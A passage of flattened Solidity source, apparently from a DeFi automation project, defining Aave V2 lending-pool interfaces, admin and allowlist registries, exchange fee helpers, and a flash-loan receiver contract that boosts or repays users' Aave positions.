indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared * in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal, * the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it * gets added to the LendingPool ABI * @param reserve The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed reserve, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet **/ function withdraw( address asset, uint256 amount, address to ) external; /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external; /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external; /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external; /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external; /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external; /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external; /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ); function initReserve( address reserve, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external; function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress) external; function setConfiguration(address reserve, uint256 configuration) external; /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory); /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view returns (DataTypes.UserConfigurationMap memory); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view returns (uint256); /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromAfter, uint256 balanceToBefore ) external; function getReservesList() external view returns (address[] memory); function getAddressesProvider() external view returns (ILendingPoolAddressesProviderV2); function setPause(bool val) external; function paused() external view returns (bool); } /************ @title IPriceOracleGetterAave interface @notice Interface for the Aave price oracle.*/ abstract contract IPriceOracleGetterAave { function getAssetPrice(address _asset) external virtual view returns (uint256); function getAssetsPrices(address[] calldata _assets) external virtual view returns(uint256[] memory); function getSourceOfAsset(address _asset) external virtual view returns(address); function getFallbackOracle() external virtual view returns(address); } abstract contract IAaveProtocolDataProviderV2 { struct TokenData { string symbol; address tokenAddress; } function getAllReservesTokens() external virtual view returns (TokenData[] memory); function getAllATokens() external virtual view returns (TokenData[] memory); function getReserveConfigurationData(address asset) external virtual view returns ( uint256 decimals, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, uint256 reserveFactor, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive, bool isFrozen ); function getReserveData(address asset) external virtual view returns ( uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp ); function getUserReserveData(address asset, address user) external virtual view returns ( uint256 currentATokenBalance, uint256 currentStableDebt, uint256 currentVariableDebt, uint256 principalStableDebt, uint256 scaledVariableDebt, uint256 stableBorrowRate, uint256 liquidityRate, uint40 stableRateLastUpdated, bool usageAsCollateralEnabled ); function getReserveTokensAddresses(address asset) external virtual view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ); } contract AdminAuth { using SafeERC20 for ERC20; address public owner; address public admin; modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyAdmin() { require(admin == msg.sender); _; } constructor() public { owner = 0xBc841B0dE0b93205e912CFBBd1D0c160A1ec6F00; admin = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; } /// @notice Admin is set by owner first time, after that admin is super role and has permission to change owner /// @param _admin Address of multisig that becomes admin function setAdminByOwner(address _admin) public { require(msg.sender == owner); require(admin == address(0)); admin = _admin; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function setAdminByAdmin(address _admin) public { require(msg.sender == admin); admin = _admin; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function setOwnerByAdmin(address _owner) public { require(msg.sender == admin); owner = _owner; } /// @notice Destroy the contract function kill() public onlyOwner { selfdestruct(payable(owner)); } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, uint _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(owner).transfer(_amount); } else { ERC20(_token).safeTransfer(owner, _amount); } } } contract BotRegistry is AdminAuth { mapping (address => bool) public botList; constructor() public { botList[0x776B4a13093e30B05781F97F6A4565B6aa8BE330] = true; botList[0xAED662abcC4FA3314985E67Ea993CAD064a7F5cF] = true; botList[0xa5d330F6619d6bF892A5B87D80272e1607b3e34D] = true; botList[0x5feB4DeE5150B589a7f567EA7CADa2759794A90A] = true; botList[0x7ca06417c1d6f480d3bB195B80692F95A6B66158] = true; } function setBot(address _botAddr, bool _state) public onlyOwner { botList[_botAddr] = _state; } } contract AaveHelperV2 is DSMath { using SafeERC20 for ERC20; IFeeRecipient public constant feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // mainnet uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint public constant NINETY_NINE_PERCENT_WEI = 990000000000000000; uint16 public constant AAVE_REFERRAL_CODE = 64; uint public constant STABLE_ID = 1; uint public constant VARIABLE_ID = 2; /// @notice Calculates the gas cost for transaction /// @param _oracleAddress address of oracle used /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _tokenAddr token addr. of token we are getting for the fee /// @return gasCost The amount we took for the gas cost function getGasCost(address _oracleAddress, uint _amount, address _user, uint _gasCost, address _tokenAddr) internal returns (uint gasCost) { if (_gasCost == 0) return 0; // in case its ETH, we need to get price for WETH // everywhere else we still use ETH as thats the token we have in this moment address priceToken = _tokenAddr == ETH_ADDR ? WETH_ADDRESS : _tokenAddr; uint256 price = IPriceOracleGetterAave(_oracleAddress).getAssetPrice(priceToken); _gasCost = wdiv(_gasCost, price) / (10 ** (18 - _getDecimals(_tokenAddr))); gasCost = _gasCost; // gas cost can't go over 20% of the whole amount if (gasCost > (_amount / 5)) { gasCost = _amount / 5; } address walletAddr = feeRecipient.getFeeAddr(); if (_tokenAddr == ETH_ADDR) { payable(walletAddr).transfer(gasCost); } else { ERC20(_tokenAddr).safeTransfer(walletAddr, gasCost); } } /// @notice Returns the owner of the DSProxy that called the contract function getUserAddress() internal view returns (address) { DSProxy proxy = DSProxy(payable(address(this))); return proxy.owner(); } /// @notice Approves token contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _caller Address which will gain the approval function approveToken(address _tokenAddr, address _caller) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_caller, uint256(-1)); } } /// @notice Send specific amount from contract to specific user /// @param _token Token we are trying to send /// @param _user User that should receive funds /// @param _amount Amount that should be sent function sendContractBalance(address _token, address _user, uint _amount) internal { if (_amount == 0) return; if (_token == ETH_ADDR) { payable(_user).transfer(_amount); } else { ERC20(_token).safeTransfer(_user, _amount); } } function sendFullContractBalance(address _token, address _user) internal { if (_token == ETH_ADDR) { sendContractBalance(_token, _user, address(this).balance); } else { sendContractBalance(_token, _user, ERC20(_token).balanceOf(address(this))); } } function _getDecimals(address _token) internal view returns (uint256) { if (_token == ETH_ADDR) return 18; return ERC20(_token).decimals(); } function getDataProvider(address _market) internal view returns(IAaveProtocolDataProviderV2) { return IAaveProtocolDataProviderV2(ILendingPoolAddressesProviderV2(_market).getAddress(0x0100000000000000000000000000000000000000000000000000000000000000)); } } interface ExchangeInterfaceV3 { function sell(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external payable returns (uint); function buy(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) external payable returns(uint); function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external view returns (uint); function getBuyRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external view returns (uint); } contract ZrxAllowlist is AdminAuth { mapping (address => bool) public zrxAllowlist; mapping(address => bool) private nonPayableAddrs; constructor() public { zrxAllowlist[0x6958F5e95332D93D21af0D7B9Ca85B8212fEE0A5] = true; zrxAllowlist[0x61935CbDd02287B511119DDb11Aeb42F1593b7Ef] = true; zrxAllowlist[0xDef1C0ded9bec7F1a1670819833240f027b25EfF] = true; zrxAllowlist[0x080bf510FCbF18b91105470639e9561022937712] = true; nonPayableAddrs[0x080bf510FCbF18b91105470639e9561022937712] = true; } function setAllowlistAddr(address _zrxAddr, bool _state) public onlyOwner { zrxAllowlist[_zrxAddr] = _state; } function isZrxAddr(address _zrxAddr) public view returns (bool) { return zrxAllowlist[_zrxAddr]; } function addNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = true; } function removeNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = false; } function isNonPayableAddr(address _addr) public view returns(bool) { return nonPayableAddrs[_addr]; } } contract DFSExchangeData { // first is empty to keep the legacy order in place enum ExchangeType { _, OASIS, KYBER, UNISWAP, ZEROX } enum ActionType { SELL, BUY } struct OffchainData { address wrapper; address exchangeAddr; address allowanceTarget; uint256 price; uint256 protocolFee; bytes callData; } struct ExchangeData { address srcAddr; address destAddr; uint256 srcAmount; uint256 destAmount; uint256 minPrice; uint256 dfsFeeDivider; // service fee divider address user; // user to check special fee address wrapper; bytes wrapperData; OffchainData offchainData; } function packExchangeData(ExchangeData memory _exData) public pure returns(bytes memory) { return abi.encode(_exData); } function unpackExchangeData(bytes memory _data) public pure returns(ExchangeData memory _exData) { _exData = abi.decode(_data, (ExchangeData)); } } contract DFSExchangeHelper { string public constant ERR_OFFCHAIN_DATA_INVALID = "Offchain data invalid"; using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant EXCHANGE_WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IFeeRecipient public constant _feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant SAVER_EXCHANGE_REGISTRY = 0x25dd3F51e0C3c3Ff164DDC02A8E4D65Bb9cBB12D; address public constant ZRX_ALLOWLIST_ADDR = 0x4BA1f38427b33B8ab7Bb0490200dAE1F1C36823F; function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function getBalance(address _tokenAddr) internal view returns (uint balance) { if (_tokenAddr == KYBER_ETH_ADDRESS) { balance = address(this).balance; } else { balance = ERC20(_tokenAddr).balanceOf(address(this)); } } function sendLeftover(address _srcAddr, address _destAddr, address payable _to) internal { // send back any leftover ether or tokens if (address(this).balance > 0) { _to.transfer(address(this).balance); } if (getBalance(_srcAddr) > 0) { ERC20(_srcAddr).safeTransfer(_to, getBalance(_srcAddr)); } if (getBalance(_destAddr) > 0) { ERC20(_destAddr).safeTransfer(_to, getBalance(_destAddr)); } } /// @notice Takes a feePercentage and sends it to wallet /// @param _amount Dai amount of the whole trade /// @param _user Address of the user /// @param _token Address of the token /// @param _dfsFeeDivider Dfs fee divider /// @return feeAmount Amount in Dai owner earned on the fee function getFee(uint256 _amount, address _user, address _token, uint256 _dfsFeeDivider) internal returns (uint256 feeAmount) { if (_dfsFeeDivider != 0 && Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_user)) { _dfsFeeDivider = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_user); } if (_dfsFeeDivider == 0) { feeAmount = 0; } else { feeAmount = _amount / _dfsFeeDivider; // fee can't go over 10% of the whole amount if (feeAmount > (_amount / 10)) { feeAmount = _amount / 10; } address walletAddr = _feeRecipient.getFeeAddr(); if (_token == KYBER_ETH_ADDRESS) { payable(walletAddr).transfer(feeAmount); } else { ERC20(_token).safeTransfer(walletAddr, feeAmount); } } } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } function writeUint256(bytes memory _b, uint256 _index, uint _input) internal pure { if (_b.length < _index + 32) { revert(ERR_OFFCHAIN_DATA_INVALID); } bytes32 input = bytes32(_input); _index += 32; // Read the bytes32 from array memory assembly { mstore(add(_b, _index), input) } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? EXCHANGE_WETH_ADDRESS : _src; } } contract SaverExchangeRegistry is AdminAuth { mapping(address => bool) private wrappers; constructor() public { wrappers[0x880A845A85F843a5c67DB2061623c6Fc3bB4c511] = true; wrappers[0x4c9B55f2083629A1F7aDa257ae984E03096eCD25] = true; wrappers[0x42A9237b872368E1bec4Ca8D26A928D7d39d338C] = true; } function addWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = true; } function removeWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = false; } function isWrapper(address _wrapper) public view returns(bool) { return wrappers[_wrapper]; } } abstract contract OffchainWrapperInterface is DFSExchangeData { function takeOrder( ExchangeData memory _exData, ActionType _type ) virtual public payable returns (bool success, uint256); } contract DFSExchangeCore is DFSExchangeHelper, DSMath, DFSExchangeData { string public constant ERR_SLIPPAGE_HIT = "Slippage hit"; string public constant ERR_DEST_AMOUNT_MISSING = "Dest amount missing"; string public constant ERR_WRAPPER_INVALID = "Wrapper invalid"; string public constant ERR_NOT_ZEROX_EXCHANGE = "Zerox exchange invalid"; /// @notice Internal method that preforms a sell on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and destAmount function _sell(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(EXCHANGE_WETH_ADDRESS).deposit{value: exData.srcAmount}(); } exData.srcAmount -= getFee(exData.srcAmount, exData.user, exData.srcAddr, exData.dfsFeeDivider); // Try 0x first and then fallback on specific wrapper if (exData.offchainData.price > 0) { (success, swapedTokens) = takeOrder(exData, ActionType.SELL); if (success) { wrapper = exData.offchainData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.SELL); wrapper = exData.wrapper; } // if anything is left in weth, pull it to user as eth if (getBalance(EXCHANGE_WETH_ADDRESS) > 0) { TokenInterface(EXCHANGE_WETH_ADDRESS).withdraw( TokenInterface(EXCHANGE_WETH_ADDRESS).balanceOf(address(this)) ); } if (exData.destAddr == EXCHANGE_WETH_ADDRESS) { require(getBalance(KYBER_ETH_ADDRESS) >= wmul(exData.minPrice, exData.srcAmount), ERR_SLIPPAGE_HIT); } else { require(getBalance(exData.destAddr) >= wmul(exData.minPrice, exData.srcAmount), ERR_SLIPPAGE_HIT); } return (wrapper, swapedTokens); } /// @notice Internal method that preforms a buy on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and srcAmount function _buy(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; require(exData.destAmount != 0, ERR_DEST_AMOUNT_MISSING); exData.srcAmount -= getFee(exData.srcAmount, exData.user, exData.srcAddr, exData.dfsFeeDivider); // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(EXCHANGE_WETH_ADDRESS).deposit{value: exData.srcAmount}(); } if (exData.offchainData.price > 0) { (success, swapedTokens) = takeOrder(exData, ActionType.BUY); if (success) { wrapper = exData.offchainData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.BUY); wrapper = exData.wrapper; } // if anything is left in weth, pull it to user as eth if (getBalance(EXCHANGE_WETH_ADDRESS) > 0) { TokenInterface(EXCHANGE_WETH_ADDRESS).withdraw( TokenInterface(EXCHANGE_WETH_ADDRESS).balanceOf(address(this)) ); } if (exData.destAddr == EXCHANGE_WETH_ADDRESS) { require(getBalance(KYBER_ETH_ADDRESS) >= exData.destAmount, ERR_SLIPPAGE_HIT); } else { require(getBalance(exData.destAddr) >= exData.destAmount, ERR_SLIPPAGE_HIT); } return (wrapper, getBalance(exData.destAddr)); } /// @notice Takes order from 0x and returns bool indicating if it is successful /// @param _exData Exchange data function takeOrder( ExchangeData memory _exData, ActionType _type ) private returns (bool success, uint256) { if (!ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isZrxAddr(_exData.offchainData.exchangeAddr)) { return (false, 0); } if (!SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.offchainData.wrapper)) { return (false, 0); } // send src amount ERC20(_exData.srcAddr).safeTransfer(_exData.offchainData.wrapper, _exData.srcAmount); return OffchainWrapperInterface(_exData.offchainData.wrapper).takeOrder{value: _exData.offchainData.protocolFee}(_exData, _type); } /// @notice Calls wraper contract for exchage to preform an on-chain swap /// @param _exData Exchange data struct /// @param _type Type of action SELL|BUY /// @return swapedTokens For Sell that the destAmount, for Buy thats the srcAmount function saverSwap(ExchangeData memory _exData, ActionType _type) internal returns (uint swapedTokens) { require(SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.wrapper), ERR_WRAPPER_INVALID); ERC20(_exData.srcAddr).safeTransfer(_exData.wrapper, _exData.srcAmount); if (_type == ActionType.SELL) { swapedTokens = ExchangeInterfaceV3(_exData.wrapper). sell(_exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.wrapperData); } else { swapedTokens = ExchangeInterfaceV3(_exData.wrapper). buy(_exData.srcAddr, _exData.destAddr, _exData.destAmount, _exData.wrapperData); } } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } contract DefisaverLogger { event LogEvent( address indexed contractAddress, address indexed caller, string indexed logName, bytes data ); // solhint-disable-next-line func-name-mixedcase function Log(address _contract, address _caller, string memory _logName, bytes memory _data) public { emit LogEvent(_contract, _caller, _logName, _data); } } /// @title Import Aave position from account to wallet contract AaveSaverReceiverOV2 is AaveHelperV2, AdminAuth, DFSExchangeCore { using SafeERC20 for ERC20; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address public constant AAVE_BASIC_PROXY = 0xCD47e74A717B882EFb54A3e17B59A5b1e31fd3c3; function boost( ExchangeData memory _exchangeData, address _market, uint256 _gasCost, address _proxy ) internal { uint256 swappedAmount = _exchangeData.srcAmount; if (_exchangeData.srcAddr != _exchangeData.destAddr) { (, swappedAmount) = _sell(_exchangeData); } address user = DSAuth(_proxy).owner(); swappedAmount -= getGasCost( ILendingPoolAddressesProviderV2(_market).getPriceOracle(), swappedAmount, user, _gasCost, _exchangeData.destAddr ); // if its eth we need to send it to the basic proxy, if not, we need to approve users proxy to pull tokens uint256 msgValue = 0; address token = _exchangeData.destAddr; // sell always return eth, but deposit differentiate eth vs weth, so we change weth address to eth when we are depoisting if (_exchangeData.destAddr == ETH_ADDR || _exchangeData.destAddr == WETH_ADDRESS) { msgValue = swappedAmount; token = ETH_ADDR; } else { ERC20(_exchangeData.destAddr).safeApprove(_proxy, swappedAmount); } // deposit collateral on behalf of user DSProxy(payable(_proxy)).execute{value: msgValue}( AAVE_BASIC_PROXY, abi.encodeWithSignature( "deposit(address,address,uint256)", _market, token, swappedAmount ) ); logEvent("AaveV2Boost", _exchangeData, swappedAmount); } function repay( ExchangeData memory _exchangeData, address _market, uint256 _gasCost, address _proxy, uint256 _rateMode, uint256 _aaveFlashlLoanFee ) internal { // we will withdraw exactly the srcAmount, as fee we keep before selling uint256 valueToWithdraw = _exchangeData.srcAmount; // take out the fee wee need to pay and sell the rest _exchangeData.srcAmount = _exchangeData.srcAmount - _aaveFlashlLoanFee; uint256 swappedAmount = _exchangeData.srcAmount; // don't sell if its the same token if (_exchangeData.srcAddr != _exchangeData.destAddr) { (, swappedAmount) = _sell(_exchangeData); } address user = DSAuth(_proxy).owner(); swappedAmount -= getGasCost( ILendingPoolAddressesProviderV2(_market).getPriceOracle(), swappedAmount, user, _gasCost, _exchangeData.destAddr ); // set protocol fee left to eth balance of this address // but if destAddr is eth or weth, this also includes that value so we need to substract it // doing this after taking gas cost so it doesn't take it into account uint256 protocolFeeLeft = address(this).balance; // if its eth we need to send it to the basic proxy, if not, we need to approve basic proxy to pull tokens uint256 msgValue = 0; if (_exchangeData.destAddr == ETH_ADDR || _exchangeData.destAddr == WETH_ADDRESS) { protocolFeeLeft -= swappedAmount; msgValue = swappedAmount; } else { ERC20(_exchangeData.destAddr).safeApprove(_proxy, swappedAmount); } // first payback the loan with swapped amount // this payback will return funds that left directly to the user DSProxy(payable(_proxy)).execute{value: msgValue}( AAVE_BASIC_PROXY, abi.encodeWithSignature( "paybackAndReturnToUser(address,address,uint256,uint256,address)", _market, _exchangeData.destAddr, swappedAmount, _rateMode, user ) ); // pull the amount we flash loaned in collateral to be able to payback the debt DSProxy(payable(_proxy)).execute( AAVE_BASIC_PROXY, abi.encodeWithSignature( "withdraw(address,address,uint256)", _market, _exchangeData.srcAddr, valueToWithdraw ) ); logEvent("AaveV2Repay", _exchangeData, swappedAmount); } function executeOperation( address[] calldata, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) public returns (bool) { ( bytes memory exchangeDataBytes, address market, uint256 gasCost, uint256 rateMode, bool isRepay, address proxy ) = abi.decode(params, (bytes, address, uint256, uint256, bool, address)); address lendingPool = ILendingPoolAddressesProviderV2(market).getLendingPool(); require(msg.sender == lendingPool, "Callbacks only allowed from Aave"); require(initiator == proxy, "initiator isn't proxy"); ExchangeData memory exData = unpackExchangeData(exchangeDataBytes); exData.user = DSAuth(proxy).owner(); exData.dfsFeeDivider = MANUAL_SERVICE_FEE; if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) { exData.dfsFeeDivider = AUTOMATIC_SERVICE_FEE; } // this is to avoid stack too deep uint256 fee = premiums[0]; uint256 totalValueToReturn = exData.srcAmount + fee; // if its repay, we are using regular flash loan and payback the premiums if (isRepay) { repay(exData, market, gasCost, proxy, rateMode, fee); address token = exData.srcAddr; if (token == ETH_ADDR || token == WETH_ADDRESS) { // deposit eth, get weth and return to sender TokenInterface(WETH_ADDRESS).deposit.value(totalValueToReturn)(); token = WETH_ADDRESS; } ERC20(token).safeApprove(lendingPool, totalValueToReturn); } else { boost(exData, market, gasCost, proxy); } tx.origin.transfer(address(this).balance); return true; } function logEvent(string memory _name, ExchangeData memory _exchangeData, uint _swappedAmount) internal { DefisaverLogger(DEFISAVER_LOGGER).Log( address(this), msg.sender, _name, abi.encode(_exchangeData.srcAddr, _exchangeData.destAddr, _exchangeData.srcAmount, _swappedAmount) ); } /// @dev allow contract to receive eth from sell receive() external payable override {} }
